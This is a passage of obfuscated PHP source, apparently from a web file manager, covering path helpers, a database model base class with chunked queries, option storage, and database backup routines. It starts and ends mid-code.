$Fײڷ[311]; if (in_array($Cパ, $dײ)) { $F[$Fײڷ[1006]] = $fꊙ[1]; $F[$Fײڷ[29]] = $Cパ; $F[$Fײڷ[1063]] = substr($Cパ, 1, -1); $F[$Fײڷ[363]] = $fꊙ[3]; } $F[$Fײڷ[1005]] = $fꊙ[4]; } goto EȖ; eгĒ: } public static function clear($b) { goto aɊ; aɊ: $eԌˉ =& $_SERVER[ֹ]; $b = str_replace($eԌˉ[93], $eԌˉ[8], $b); $b㺋 = $eԌˉ[1065]; goto f۞; c؉…: if ($b == $eԌˉ[8]) { return $eԌˉ[8]; } $b = rtrim($b, $eԌˉ[8]); return $b; goto fËΉ; f۞: if (substr($b, 0, 3) == $eԌˉ[1066]) { $b = substr($b, 3); } while (strstr($b, $b㺋)) { $b = str_replace($b㺋, $eԌˉ[8], $b); } $b = preg_replace($eԌˉ[1067], $eԌˉ[8], $b); goto c؉…; fËΉ: } public static function sourceID($b筕΍) { $f׭ =& $_SERVER[ֹ]; $e޻尊 = self::parse($b筕΍); if ($e޻尊[$f׭[29]] !== self::KOD_SOURCE) { show_json(LNG($f׭[1068]), !1); } return $e޻尊[$f׭[363]]; } public static function make($d) { if (!$d) { return !1; } return self::makePath(self::KOD_SOURCE, intval($d)); } public static function makeShare($fᒜ, $E) { return self::makePath(self::KOD_SHARE_ITEM, $fᒜ, $E); } public static function makeFileTypePath($E¯܅) { return self::makePath(self::KOD_USER_FILE_TYPE, $E¯܅); } public static function makeFileTagPath($Cވ) { return self::makePath(self::KOD_USER_FILE_TAG, $Cވ); } public static function makePath($bÚҩ, $BՉՖ = '', $Dӓ = '') { $AҚ =& $_SERVER[ֹ]; $f = substr($bÚҩ, 1, -1); $FϽͩ = $AҚ[1069] . $f . $AҚ[1070] . $BՉՖ . $AҚ[1071]; $FϽͩ = $Dӓ ? $FϽͩ . $Dӓ . $AҚ[8] : $FϽͩ; return $FϽͩ; } public static function hashPath($F) { $c =& $_SERVER[ֹ]; $BɉÊ = is_array($F) ? $F : IO::info($F); $cȍ = _get($BɉÊ, $c[1072], $c[33]); if (!$cȍ) { $D㉱ = KodIO::parse($BɉÊ[$c[75]]); if (!$D㉱[$c[29]]) { $cȍ = IO::hashSimple($BɉÊ[$c[75]]); } } if (!$cȍ) { $cȍ = md5($BɉÊ[$c[75]] . $BɉÊ[$c[77]] . $BɉÊ[$c[106]]); } return $cȍ; } public static function initSystemPath() { $b¡܏ =& $_SERVER[ֹ]; if (defined($b¡܏[1073])) { return; } define($b¡܏[1073], self::systemPath($b¡܏[1074])); define($b¡܏[1075], self::systemPath($b¡܏[1076])); define($b¡܏[1077], self::systemPath($b¡܏[1078])); define($b¡܏[1079], self::systemPath($b¡܏[1080])); } private static function systemPath($C׶¡) { goto a̓ϟΔ; Fՠ: if ($c㐽) { return $c㐽; } if ($C׶¡ == $f[1074]) { $c㐽 = self::make(Model($f[749])->systemRootPathAdd($f[1083])); } else { $c㐽 = self::systemPath($f[1074]); $A񤢉 = self::sourceID($c㐽); $c㐽 = self::make(Model($f[749])->mkdir($A񤢉, $C׶¡)); } Model($f[1082])->set($Bь, $c㐽); goto f󎘖; f󎘖: return $c㐽; goto d; a̓ϟΔ: $f =& $_SERVER[ֹ]; $Bь = $f[1081] . ucfirst($C׶¡); $c㐽 = Model($f[1082])->get($Bь); goto Fՠ; d: } public static function systemFolder($F) { $F = IO_PATH_SYSTEM_SOURCE . $F; $aɧ = Cache::get($F); if (!$aɧ) { $fѶՈ = IO::infoFull($F); if (!$fѶՈ) { $aɧ = IO::mkdir($F, REPEAT_SKIP); } else { $aɧ = $fѶՈ[$_SERVER[ֹ][75]]; } Cache::set($F, $aɧ, 3600 * 10); } return $aɧ; } public static function defaultDriver() { return Model($_SERVER[ֹ][701])->defaultDriver(); } public static function defaultIO() { $B߈ =& $_SERVER[ֹ]; $c = self::defaultDriver(); return $B߈[1084] . $c[$B߈[363]] . $B߈[1071]; } public static function fileTypeList() { $dܶ =& $_SERVER[ֹ]; $e٢ = $GLOBALS[$dܶ[6]][$dܶ[1085]]; foreach ($e٢ as $aӌ => $a) { $d΅㬄 = $dܶ[1086] . $aӌ; $cɎ꼎 = LNG($d΅㬄); if ($d΅㬄 != $cɎ꼎) { $e٢[$aӌ][$dܶ[28]] = $cɎ꼎; } } return $e٢; } } goto Cnj; e: class ModelBase extends Model { const SQL_WHERE_IN_CHUNK = 2000; protected $dataAuto = array(array("\x6d\157\144\151\146\x79\x54\x69\155\145", "\x74\x69\x6d\145", "\x69\x6e\x73\x65\x72\164\54\165\x70\x64\x61\164\x65", "\146\x75\x6e\x63\164\x69\157\156"), array("\x63\x72\x65\x61\164\x65\124\x69\155\x65", "\x74\151\x6d\x65", "\151\x6e\x73\x65\x72\x74", "\x66\165\156\x63\x74\x69\x6f\156")); public function setDataAuto($cܴ) { $this->dataAuto = $cܴ; } public function __construct($cᕇ = '', $FӨӖ = '', $d = '') { parent::__construct($cᕇ, $FӨӖ, $d); } public static function textEncode($Bľ) { if (!$Bľ) { return $Bľ; } $bЂ = json_encode($Bľ); $bЂ = preg_replace_callback($_SERVER[ֹ][338], function ($bԐ) { return addslashes($bԐ[0]); }, $bЂ); return json_decode($bЂ); } public static function textDecode($BǦ) { $a =& $_SERVER[ֹ]; $e = json_encode($BǦ); $e = preg_replace_callback($a[339], function ($fԞ) { return $_SERVER[ֹ][93]; }, $e); return json_decode($e); } protected $tableMeta = array(); protected function _beforeInsert(&$BγȮ, $Cغ) { $f =& $_SERVER[ֹ]; if (!$this->checkDataAutoHas($f[340])) { return; } $this->dataBeforeFilter($BγȮ, $f[340]); } protected function _beforeUpdate(&$fޖ, $f쯹) { $d죆 =& $_SERVER[ֹ]; if (!$this->checkDataAutoHas($d죆[341])) { return; } $this->dataBeforeFilter($fޖ, $d죆[341]); } protected function _afterSelect(&$eˉ, $b) { if (!is_array($eˉ)) { return; } if (!$this->checkDataAutoHas($_SERVER[ֹ][342])) { return; } foreach ($eˉ as &$E) { $this->dataAfterFilter($E); } } protected function _afterFind(&$B۪, $e‘Ҍ) { if (!is_array($B۪)) { return; } if (!$this->checkDataAutoHas($_SERVER[ֹ][342])) { return; } $this->dataAfterFilter($B۪); } public function setAutoIncrement($Dح) { $F🅉 = array($this->getPk() => $Dح); $d۝ = $this->data($F🅉)->add(); if ($d۝) { $this->delete($d۝); } } public function getAutoIncrement() { $fЉӞ = $this->getTableName(); $cӊホ = $this->max($this->getPk()); $a嫵 = $this->query("\x73\x68\x6f\x77\40\x74\x61\142\x6c\145\x20\163\x74\x61\164\x75\163\40\x77\x68\x65\162\145\40\116\x61\x6d\x65\75\47{$fЉӞ}\47"); $D޶Ր = $a嫵[0][$_SERVER[ֹ][343]]; $d򥠦 = max($cӊホ, $D޶Ր); return $d򥠦; } protected function _callBefore($f·, $Bބ) { return $this->cacheCallCheck($f·, $Bބ, !1); } protected function _callAfter($D򪵍, $aݥ) { return $this->cacheCallCheck($D򪵍, $aݥ, !0); } protected function cacheFunctionAlias($Eؚŏ) { return !1; } public function cacheMemory() { return $this->cache(null, 0); } protected function cacheCallCheck($bꋫ, $FŬ, $b = false) { $c = $this->cacheFunctionAlias($FŬ); if (!$c) { return; } foreach ($c as $eԫ => $fҿ濸) { $d = $fҿ濸[0]; $dָт = explode($_SERVER[ֹ][47], $fҿ濸[1]); if ($bꋫ == $eԫ) { return $this->cacheFunctionGet($eԫ, $d); } if ($b && in_array($bꋫ, $dָт)) { $this->cacheFunctionClear($eԫ, $d); } } } public function cacheFunctionGet($Dذ, $aλ) { $eֹ = $this->cacheKeyMake($Dذ, $aλ); $a = Cache::get($eֹ); if (!is_array($a)) { $a = call_user_func_array(array($this, $Dذ), array($aλ, !0)); Cache::set($eֹ, $a); } return $a; } public function cacheFunctionClear($e닙, $c) { $a = $c; if (!is_array($c)) { $a = array($c); } foreach ($a as $e䈉ޒ) { $a = $this->cacheKeyMake($e닙, $e䈉ޒ); Cache::remove($a); } } private function cacheKeyMake($CϹ, $DЯ˚) { $Eʌ樑 =& $_SERVER[ֹ]; return get_class($this) . $Eʌ樑[70] . $CϹ . $Eʌ樑[344] . $DЯ˚; } protected function selectPage($c픊ӓ = 200, $b = 1) { goto F±; C𺯜ϭ: $this->optionsValue($dꃆ); $Fƅ = $this->page($b, $c픊ӓ)->select(); $Fƅ = is_array($Fƅ) ? $Fƅ : array(); goto e; F±: $Bͪ㛮 =& $_SERVER[ֹ]; global $in; $dꃆ = $this->optionsValue(); goto Aٲ֤; EƦԵ: $cڒ، = $dꃆ; $cڒ،[$Bͪ㛮[346]] = array(); $this->optionsValue($cڒ،); goto Eܭ; Aٲ֤: $f̬û = 4000; $c픊ӓ = isset($in[$Bͪ㛮[345]]) ? $in[$Bͪ㛮[345]] : $c픊ӓ; if ($c픊ӓ === -1) { unset($in[$Bͪ㛮[345]]); $f̬û = 100000000; $c픊ӓ = $f̬û; } goto EƦԵ; bĂ: $F薌 = ceil($A֤ / $c픊ӓ); $b = intval(isset($in[$Bͪ㛮[336]]) ? $in[$Bͪ㛮[336]] : $b); $b = $b <= 1 ? 1 : ($b >= $F薌 ? $F薌 : $b); goto C𺯜ϭ; e: if ($F薌 == 1) { $A֤ = count($Fƅ); } $F̄ = array($Bͪ㛮[347] => array($Bͪ㛮[348] => $A֤, $Bͪ㛮[345] => $c픊ӓ, $Bͪ㛮[336] => $b, $Bͪ㛮[349] => $F薌), $Bͪ㛮[350] => $Fƅ ? $Fƅ : array()); return $F̄; goto BŞ; Eܭ: $A֤ = intval($this->count()); $c픊ӓ = intval($c픊ӓ); $c픊ӓ = $c픊ӓ <= 5 ? 5 : ($c픊ӓ >= $f̬û ? $f̬û : $c픊ӓ); goto bĂ; BŞ: } protected function checkLength($a翊̏, $Bĉ愋 = 0, $f뿊 = '') { $fˤ =& $_SERVER[ֹ]; $Bĉ愋 = $Bĉ愋 ? $Bĉ愋 : 65536; if (!$a翊̏ || strlen($a翊̏) < $Bĉ愋) { return; } $f뿊 = $f뿊 ? $f뿊 . $fˤ[67] : $fˤ[33]; show_json($f뿊 . LNG($fˤ[351]) . "\x28{$Bĉ愋}\51", !1); } protected function metaSet($f, $D = null, $e΢ʉ = null) { goto a; a: $Aؔ =& $_SERVER[ֹ]; if (!$this->tableMeta) { return !1; } $b份 = $this->tableMeta[$Aؔ[352]]; goto eگ; eɦ٣: if (is_string($D)) { $F[$D] = $e΢ʉ; } $bӌ = array(); foreach ($F as $C䓞 => $dǃ) { $this->checkLength($dǃ, !1, $fĢ . $Aؔ[4] . $C䓞); $bӌ[] = array($b份 => $f, $Aؔ[89] => $C䓞, $Aؔ[355] => $dǃ); } goto d; fϠ셫: if (is_null($D)) { return $cૻ->where(array($b份 => $f))->delete(); } if (is_null($e΢ʉ)) { return $cૻ->where($fؚ)->delete(); } $F = is_array($D) ? $D : array(); goto eɦ٣; eگ: $fĢ = $this->tableMeta[$Aؔ[353]]; $cૻ = Model($fĢ); $fؚ = array($b份 => $f, $Aؔ[354] => $D); goto fϠ셫; d: $cૻ->where(array($b份 => $f))->addAll($bӌ, array(), !0); return !0; goto fҐō; fҐō: } public function metaGet($cꑸ) { goto CÊ; CÊ: $D =& $_SERVER[ֹ]; if (!$this->tableMeta) { return array(); } $d = $this->tableMeta[$D[352]]; goto e慚; Cٱލ: $aҾ = array_to_keyvalue($aҾ, $D[89], $D[355]); return $aҾ; goto eƳ; e慚: $C = Model($this->tableMeta[$D[353]]); $e䶦 = array($d => $cꑸ); $aҾ = $C->field($D[356])->where($e䶦)->select(); goto Cٱލ; eƳ: } private function checkDataAutoHas($a쐍) { if (!is_array($this->dataAuto) || count($this->dataAuto) == 0) { return !1; } foreach ($this->dataAuto as $dï) { if (in_array($a쐍, explode($_SERVER[ֹ][47], $dï[2]))) { return !0; } } return !1; } private function dataBeforeFilter(&$B眾, $D) { $cхڂݎ =& $_SERVER[ֹ]; foreach ($this->dataAuto as $c톆Ǚ) { $B젇 = $c톆Ǚ[0]; if (!in_array($D, explode($cхڂݎ[47], $c톆Ǚ[2]))) { continue; } switch (trim($c톆Ǚ[3])) { case $cхڂݎ[305]: case $cхڂݎ[306]: $C = $c톆Ǚ[1]; $ADž = isset($c톆Ǚ[4]) ? (array) $c톆Ǚ[4] : array(); if ($C == $cхڂݎ[186] && array_key_exists($B젇, $B眾)) { if (!$B眾[$B젇]) { unset($B眾[$B젇]); } break; } if (isset($B眾[$B젇])) { array_unshift($ADž, $B眾[$B젇]); } if ($cхڂݎ[305] == $c톆Ǚ[3]) { $B眾[$B젇] = call_user_func_array($C, $ADž); } else { $B眾[$B젇] = call_user_func_array(array(&$this, $C), $ADž); } break; case $cхڂݎ[257]: $B眾[$B젇] = $B眾[$c톆Ǚ[1]]; break; case $cхڂݎ[278]: if (isset($B眾[$B젇]) && !is_string($B眾[$B젇])) { $B眾[$B젇] = json_encode_force($B眾[$B젇]); } break; case $cхڂݎ[307]: if ($B眾[$B젇] === $cхڂݎ[33]) { unset($B眾[$B젇]); } break; case $cхڂݎ[308]: $B眾[$B젇] = $c톆Ǚ[1]; default: break; } } if ($D == $cхڂݎ[340]) { $Cס = strtolower($this->db->getDbType()); if (strpos($Cס, $cхڂݎ[9]) !== 0) { return; } $f🱟 = $this->field(!0)->fields; $fϐ = $f🱟[$cхڂݎ[236]]; if (isset($f🱟[$cхڂݎ[235]])) { unset($fϐ[$f🱟[$cхڂݎ[235]]]); } foreach ($fϐ as $Eٮ => $D) { if (!isset($B眾[$Eٮ])) { $B眾[$Eٮ] = $cхڂݎ[33]; } } } } private function dataAfterFilter(&$A) { $d =& $_SERVER[ֹ]; foreach ($this->dataAuto as $d卉) { $A = $d卉[0]; if (!in_array($d[342], explode($d[47], $d卉[2]))) { continue; } if (!isset($A[$A])) { continue; } switch (trim($d卉[3])) { case $d[305]: case $d[306]: $fۣ = isset($d卉[4]) ? (array) $d卉[4] : array(); array_unshift($fۣ, $A[$A]); if ($d[305] == $d卉[3]) { $A[$A] = call_user_func_array($d卉[1], $fۣ); } else { $A[$A] = call_user_func_array(array(&$this, $d卉[1]), $fۣ); } break; case $d[257]: $A[$A] = $A[$d卉[1]]; break; case $d[278]: $F΃ = $A[$A]; $A[$A] = json_decode($F΃, !0); if (is_null($A[$A])) { $A[$A] = $F΃; } break; case $d[307]: if ($A[$A] === $d[33]) { unset($A[$A]); } break; case $d[308]: $A[$A] = $d卉[1]; default: break; } } } public function saveAll($C؅) { goto b; b: $f۾Ɣ =& $_SERVER[ֹ]; $f笠 = $this->tablePrefix . $this->tableName; $D = self::SQL_WHERE_IN_CHUNK; goto f͗; bЅ: $F = array(); $aΝ = count($C؅); for ($B󦾐 = 0; $B󦾐 < $aΝ; $B󦾐++) { $dՔ = $C؅[$B󦾐]; if (!is_array($dՔ) || count($dՔ) != 4) { continue; } $fڙ = "\125\120\104\x41\x54\105\40{$f笠}\40\x53\x45\124\40{$dՔ[2]}\40\75\x20\103\x41\123\105\40{$dՔ[0]}\x20\12"; if ($Bﴝ == 0) { $Fʊ = $fڙ; } $F[] = $f۾Ɣ[112] . $dՔ[1] . $f۾Ɣ[112]; $Bﴝ++; $Fʊ .= "\40\127\110\105\116\40\x27{$dՔ[1]}\47\x20\x54\x48\105\116\x20\47{$dՔ[3]}\47\40\xa"; if ($Bﴝ == $D || $B󦾐 == $aΝ - 1) { goto aŭ; e̞: $F = array(); goto C˾ᾏ; fӓ: $Bﴝ = 0; $Fʊ = $fڙ; $this->chunkEventCheck(count($F)); goto e̞; aŭ: $C曌ճ = implode($f۾Ɣ[47], $F); $Fʊ .= "\40\x45\x4e\104\40\40\x57\110\x45\122\105\x20{$dՔ[0]}\40\111\116\x20\50{$C曌ճ}\x29\40"; $this->execute($Fʊ); goto fӓ; C˾ᾏ: } } goto Bԓ; Bԓ: $this->chunkEventSet(); goto aاǡ; f͗: $C؅ = is_array($C؅) ? $C؅ : array(); $Fʊ = $f۾Ɣ[357]; $Bﴝ = 0; goto bЅ; aاǡ: } public function saveAllEach($Fஊ) { $eƏ =& $_SERVER[ֹ]; $eå = $this->tablePrefix . $this->tableName; foreach ($Fஊ as $E) { if (!is_array($E) || count($E) != 4) { continue; } $F = $E[0] . $eƏ[358] . $E[1] . $eƏ[112]; $dӉ = $E[2] . $eƏ[358] . $E[3] . $eƏ[112]; $E◜ = "\x75\160\x64\x61\164\x65\40{$eå}\x20\163\x65\164\x20{$dӉ}\40\x77\x68\145\x72\x65\x20{$F}\73"; $this->execute($E◜); } } protected $_chunkEvent = false; protected $_chunkEventParam = false; public function chunkEventSet($aߩ = false, $aÇ = false) { $this->_chunkEvent = $aߩ; $this->_chunkEventParam = $aÇ; } private function chunkEventCheck($e̝) { if (!$this->_chunkEvent) { return; } $e = is_array($this->_chunkEventParam) ? $this->_chunkEventParam : array(); $e[$_SERVER[ֹ][359]] = $e̝; Hook::trigger($this->_chunkEvent, $e); } public function addAll($f鲙, $B畷 = array(), $bӾ = false) { goto e; dķ֦: if (method_exists($this->db, $e˗ص[256])) { for ($Cۇ = 0; $Cۇ < count($f鲙); $Cۇ += $A) { $bˮ = array_slice($f鲙, $Cۇ, $A); if (!is_array($bˮ) || count($bˮ) == 0) { break; } $c = $this->db->insertAll($bˮ, $B畷, $bӾ); $this->chunkEventCheck(count($bˮ)); } $this->chunkEventSet(); } else { $this->startTrans(); foreach ($f鲙 as $c׆㝭 => $bƹ甂) { $c = $this->db->insert($bƹ甂, $B畷, $bӾ); } $this->commit(); } if (!1 !== $c) { $E = $this->getLastInsID(); if ($E) { return $E; } } return $c; goto e蛰˞; e: if (empty($f鲙)) { $this->error = think_lang($e˗ص[255]); return !1; } $B畷 = $this->_parseOptions($B畷); foreach ($f鲙 as $c׆㝭 => $bƹ甂) { $f鲙[$c׆㝭] = $this->_facade($bƹ甂); $this->_beforeInsert($f鲙[$c׆㝭], $B畷); } goto dķ֦; e: $e˗ص =& $_SERVER[ֹ]; ignore_timeout(); $A = self::SQL_WHERE_IN_CHUNK; goto e; e蛰˞: } public function save($d㜯 = '', $c䫌 = array()) { goto F; dœ: $d = $b̈ݽ[$dŽ[259]][$eɻ][1]; $d = is_array($d) ? $d : array(); $DҬ = count($d); goto d; d: for ($Aá뺉 = 0; $Aá뺉 < $DҬ; $Aá뺉 += $cؘ) { $e֧ = array_slice($d, $Aá뺉, $cؘ); if (!is_array($e֧) || count($e֧) == 0) { break; } $b̈ݽ[$dŽ[259]][$eɻ][1] = $e֧; $this->optionsValue($b̈ݽ); $Cӄ += parent::save($d㜯, $c䫌); $this->chunkEventCheck(count($e֧)); } $this->chunkEventSet(); return $Cӄ; goto aب; F: $dŽ =& $_SERVER[ֹ]; $cؘ = self::SQL_WHERE_IN_CHUNK; $b̈ݽ = $this->optionsValue(); goto eϰ; eϰ: $eɻ = $this->findWhereField($b̈ݽ); if (!$eɻ) { return parent::save($d㜯, $c䫌); } $Cӄ = 0; goto dœ; aب: } public function add($f = '', $E = array(), $aֈ = false) { if ($this->addTaskStatus && is_array($f)) { $this->addTaskData[] = $f; return; } return parent::add($f, $E, $aֈ); } private $addTaskStatus = false; private $addTaskData = array(); public function addTaskStart() { $this->addTaskStatus = !0; $this->addTaskData = array(); } public function addTaskEnd() { if (!$this->addTaskStatus) { return; } $this->addAll($this->addTaskData); $this->addTaskStatus = !1; $this->addTaskData = array(); } public function select($fև = array()) { goto dУέ; dУέ: $dی =& $_SERVER[ֹ]; $D = self::SQL_WHERE_IN_CHUNK; $d = $this->optionsValue(); goto Bﳫˤ; FũÙ: $cԿƔĂ = is_array($cԿƔĂ) ? $cԿƔĂ : array(); $e͘ = null; for ($f = 0; $f < count($cԿƔĂ); $f += $D) { $F̃ = array_slice($cԿƔĂ, $f, $D); if (!is_array($F̃) || count($F̃) == 0) { break; } $d[$dی[259]][$a][1] = $F̃; $this->optionsValue($d); $dߝ = parent::select($fև); if (!$dߝ) { continue; } if (is_null($e͘)) { $e͘ = array(); } $e͘ = array_merge($e͘, $dߝ); } goto aٝ덹; Bﳫˤ: $a = $this->findWhereField($d); if (!$a || isset($d[$dی[276]]) || isset($d[$dی[336]])) { return parent::select($fև); } $cԿƔĂ = $d[$dی[259]][$a][1]; goto FũÙ; aٝ덹: return $e͘; goto cء; cء: } public function delete($Eߎ = array()) { goto D؝; fЮۗ: $c󐶈ڬ = $this->findWhereField($E); if (!$c󐶈ڬ) { return parent::delete($Eߎ); } $b֛ = 0; goto eȪ; eȪ: $Fɉ = $E[$A[259]][$c󐶈ڬ][1]; $Fɉ = is_array($Fɉ) ? $Fɉ : array(); for ($aۮ = 0; $aۮ < count($Fɉ); $aۮ += $Cɲ) { $BЈܲ = array_slice($Fɉ, $aۮ, $Cɲ); if (!is_array($BЈܲ) || count($BЈܲ) == 0) { break; } $E[$A[259]][$c󐶈ڬ][1] = $BЈܲ; $this->optionsValue($E); $b֛ += parent::delete($Eߎ); } goto E٥ޙ; E٥ޙ: return $b֛; goto bΦ; D؝: $A =& $_SERVER[ֹ]; $Cɲ = self::SQL_WHERE_IN_CHUNK; $E = $this->optionsValue(); goto fЮۗ; bΦ: } private function findWhereField($b) { $Cٴ =& $_SERVER[ֹ]; $BŰ = self::SQL_WHERE_IN_CHUNK; if (!is_array($b) || !is_array($b[$Cٴ[259]])) { return !1; } foreach ($b[$Cٴ[259]] as $Aۯ => $aق) { if (is_array($aق) && isset($aق[0]) && is_string($aق[0]) && strtolower($aق[0]) == $Cٴ[7] && is_array($aق[1]) && count($aق[1]) > $BŰ) { ignore_timeout(); return $Aۯ; } } return !1; } } class ModelBaseLight { public $optionType = ''; public $modelType = "\123\171\163\164\145\155\117\160\164\x69\157\x6e"; public $field = array(); public function listData($B = false, $A = "\155\157\x64\151\x66\x79\x54\x69\155\x65", $E务 = false) { $cʂ = Model($this->modelType)->get(!1, $this->optionType, !0); if (!$cʂ) { return $B ? null : array(); } if (!$B) { $cʂ = array_filter(array_values($cʂ)); return array_sort_by($cʂ, $A, $E务); } return $cʂ[$_SERVER[ֹ][360] . $B]; } public function insert($aٺ) { goto Fɇ; Dԅ: $aٺ[$bՒܾ[106]] = time(); Model($this->modelType)->set($bՒܾ[361], $F󵊈, $this->optionType . $bՒܾ[362]); Model($this->modelType)->set($bՒܾ[360] . $F󵊈, $aٺ, $this->optionType); goto Fɷϻݗ; Fɇ: $bՒܾ =& $_SERVER[ֹ]; $aٺ = array_field_key($aٺ, $this->field); $F󵊈 = Model($this->modelType)->get($bՒܾ[361], $this->optionType . $bՒܾ[362]); goto Fԃ; Fɷϻݗ: return $F󵊈; goto e; Fԃ: $F󵊈 = $F󵊈 ? $F󵊈 : 0; $aٺ[$bՒܾ[363]] = ++$F󵊈; $aٺ[$bՒܾ[183]] = time(); goto Dԅ; e: } public function update($eޘ, $bƿ) { goto bΧӦ; F: if (!$aͯ) { return !1; } $bƿ = array_merge($aͯ, $bƿ); $bƿ[$C׈[106]] = time(); goto b–ե; bΧӦ: $C׈ =& $_SERVER[ֹ]; $bƿ = array_field_key($bƿ, $this->field); $aͯ = $this->listData($eޘ); goto F; b–ե: return Model($this->modelType)->set($C׈[360] . $eޘ, $bƿ, $this->optionType); goto cӌ; cӌ: } public function remove($a䙑) { return Model($this->modelType)->remove($_SERVER[ֹ][360] . $a䙑, $this->optionType); } public function clear() { $Eޖ =& $_SERVER[ֹ]; Model($this->modelType)->remove($Eޖ[361], $this->optionType . $Eޖ[362]); return Model($this->modelType)->remove(null, $this->optionType); } public function cacheClear() { return Model($this->modelType)->cacheRemove($this->optionType); } public function findByKey($F, $Fͤ) { if (!$Fͤ) { return !1; } $D͊ = $this->listData(); $D͊ = array_to_keyvalue($D͊, $F); return isset($D͊[$Fͤ]) ? $D͊[$Fͤ] : !1; } public function findByName($A) { return $this->findByKey($_SERVER[ֹ][28], $A); } protected function resetData($dƗ) { $CΑ =& $_SERVER[ֹ]; $dƗ = is_array($dƗ) ? $dƗ : array(); $b = array(); for ($Fޓ = 0; $Fޓ < count($dƗ); $Fޓ++) { $b[$CΑ[360] . $dƗ[$Fޓ][$CΑ[363]]] = $dƗ[$Fޓ]; } return Model($this->modelType)->set($b, !1, $this->optionType); } private function getAutoName($D旴) { $E = array_to_keyvalue($this->listData(), $_SERVER[ֹ][28]); if (!$E || !isset($E[$D旴])) { return $D旴; } for ($C = 1; $C < count($E); $C++) { $fì݌ = $D旴 . "\x28{$C}\51"; if (!isset($E[$fì݌])) { return $fì݌; } } return $fì݌; } } class ModelBaseOption extends ModelBase { protected $tableName = ''; protected $jsonField = array(); public function get($Dǜˑ = false, $eѕ܉ = '', $fݭʫ = false) { goto F; F: $e¾Ք =& $_SERVER[ֹ]; $FԲ = $this->cacheGet($eѕ܉); $C찰 = $this->optionDefault($eѕ܉); goto bןݿߩ; bԤ: $this->cacheSet($eѕ܉, $FԲ); $FԲ = array_merge($C찰, $FԲ); return $Dǜˑ ? $FԲ[$Dǜˑ] : $FԲ; goto Fà㷌; a俕: $FԲ = $this->where($aƤ)->select(); $FԲ = array_to_keyvalue($FԲ, $e¾Ք[89], $e¾Ք[355]); foreach ($FԲ as $c׍楬 => $D) { if ($fݭʫ || in_array($c׍楬, $this->jsonField)) { $FԲ[$c׍楬] = json_decode($D, !0); } } goto bԤ; bןݿߩ: $C찰 = is_array($C찰) ? $C찰 : array(); if (is_array($FԲ)) { $FԲ = array_merge($C찰, $FԲ); return $Dǜˑ ? isset($FԲ[$Dǜˑ]) ? $FԲ[$Dǜˑ] : null : $FԲ; } $aƤ = $this->filterWhere(array($e¾Ք[29] => $eѕ܉)); goto a俕; Fà㷌: } public function set($E艩, $A = false, $dى = '') { goto dᑂ; dᑂ: $c =& $_SERVER[ֹ]; $this->cacheRemove($dى); $Bܑ = array(); goto d; a̴: return $this->addAll($Bܑ, array(), !0); goto fբ; d: $B夷 = is_array($E艩) ? $E艩 : array($E艩 => $A); foreach ($B夷 as $e˧ => $A) { if (is_array($A)) { $A = json_encode_force($A); } $this->checkLength($A, !1, $this->tableName . $c[4] . $E艩); $A = self::textEncode($A); $B夷 = array($c[29] => $dى, $c[89] => $e˧, $c[355] => $A); $Bܑ[] = $this->filterWhere($B夷); } if (!$Bܑ) { return !0; } goto a̴; fբ: } protected function optionDefault($a = '') { return !1; } public function setDeep($BŌ, $A = false, $d걊ˉ = '') { $aĢ = explode($_SERVER[ֹ][91], $BŌ); $bߘ̔ = $this->get(); array_set_value($bߘ̔, $BŌ, $A); $this->set($aĢ[0], $bߘ̔[$aĢ[0]], $d걊ˉ); } public function remove($Aݞ, $eˉ = '') { $F԰ =& $_SERVER[ֹ]; $this->cacheRemove($eˉ); $AǸϧ = $this->filterWhere(array($F԰[89] => $Aݞ, $F԰[29] => $eˉ)); if (is_null($Aݞ)) { unset($AǸϧ[$F԰[89]]); } return $this->where($AǸϧ)->delete(); } public function cacheSet($F, $Dҳ = false) { return Cache::set($this->cacheKey($F), $Dҳ); } public function cacheGet($E) { return Cache::get($this->cacheKey($E)); } public function cacheRemove($B͚) { return Cache::remove($this->cacheKey($B͚)); } protected function filterWhere($BՌ) { return $BՌ; } protected function cacheKey($Eě) { return $Eě; } } goto Cп; C: class BackupDb { protected static $io; protected static $name; public function __construct() { } public function index() { goto DΛ; e隋ء: mk_dir($cƷЬ); $b = $fՑ->db()->getTables(); $Eنղ = 0; goto F̑; F–: $C->end(); $bѸσ = array($c[717] => $d옄, $c[704] => 1, $c[718] => $Eنղ, $c[719] => $Eنղ); Backup::set($bѸσ); goto E󭋳; E󭋳: return !0; goto aꐂ; bɒ: $fՑ = new DbManage($B, $d옄); $cƷЬ = TEMP_FILES . $c[707] . self::$name . $c[8]; del_dir($cƷЬ); goto e隋ء; F򶑲: self::$name = $bØ[$c[28]]; $B = $GLOBALS[$c[6]][$c[17]]; $d옄 = $this->_dbType($B); goto bɒ; F̑: $C = new Task($c[708], $c[709], 0, LNG($c[710]) . $c[711] . LNG($c[712])); $b = array_diff($b, array($c[713], $c[714])); foreach ($b as $B藕DŽ) { $aꊶ = $cƷЬ . $B藕DŽ . $c[715]; $E = null; if ($B藕DŽ == $c[716] && (!isset($bØ[$c[689]]) || $bØ[$c[689]] == $c[464])) { $E = self::$io; } $Eنղ += $fՑ->sqlFromDb($B藕DŽ, $aꊶ, $C, $E); } goto F–; DΛ: $c =& $_SERVER[ֹ]; $bØ = Backup::get(); self::$io = $bØ[$c[688]]; goto F򶑲; aꐂ: } private function _dbType($E) { goto E; Eđ: if ($b == $e[721]) { $eÃɸ̃ = explode($e[4], $E[$e[722]]); $b = $eÃɸ̃[0]; } $e譨 = array($e[723] => $e[9], $e[724] => $e[725]); if (isset($e譨[$b])) { $b = $e譨[$b]; } goto a; E: $e =& $_SERVER[ֹ]; $E = array_change_key_case($E); $b = $E[$e[720]]; goto Eđ; a: return $b; goto e˻; e˻: } } class BackupDbFile { public function __construct() { } public function index() { goto F݉; AިШ: Backup::set(array($a[728] => $f[$a[77]])); IO::move($eߒǎ, $Eƫٿ); $cي͉ = CONTROLLER_DIR . $a[729]; goto c; EϾ: $eߒǎ = TEMP_FILES . "\x62\x61\x63\153\165\x70\137{$e}\57"; $Eƫٿ = "\173\151\x6f\x3a{$e[$a[688]]}\x7d\x2f\x64\x61\x74\141\x62\x61\163\145\57"; IO::mkdir($Eƫٿ . "\142\141\143\153\x75\160\137{$e}\x2f"); goto C㩷ܲ; fϩг: return !0; goto fʮ; F݉: $a =& $_SERVER[ֹ]; $e = Backup::get(); $e = $e[$a[28]]; goto EϾ; c: IO::copy($cي͉, $Eƫٿ . "\x62\141\143\x6b\165\x70\137{$e}\x2f"); $E乷ƈ->end(); Backup::set(array($a[730] => $f[$a[77]])); goto fϩг; C㩷ܲ: $E乷ƈ = new 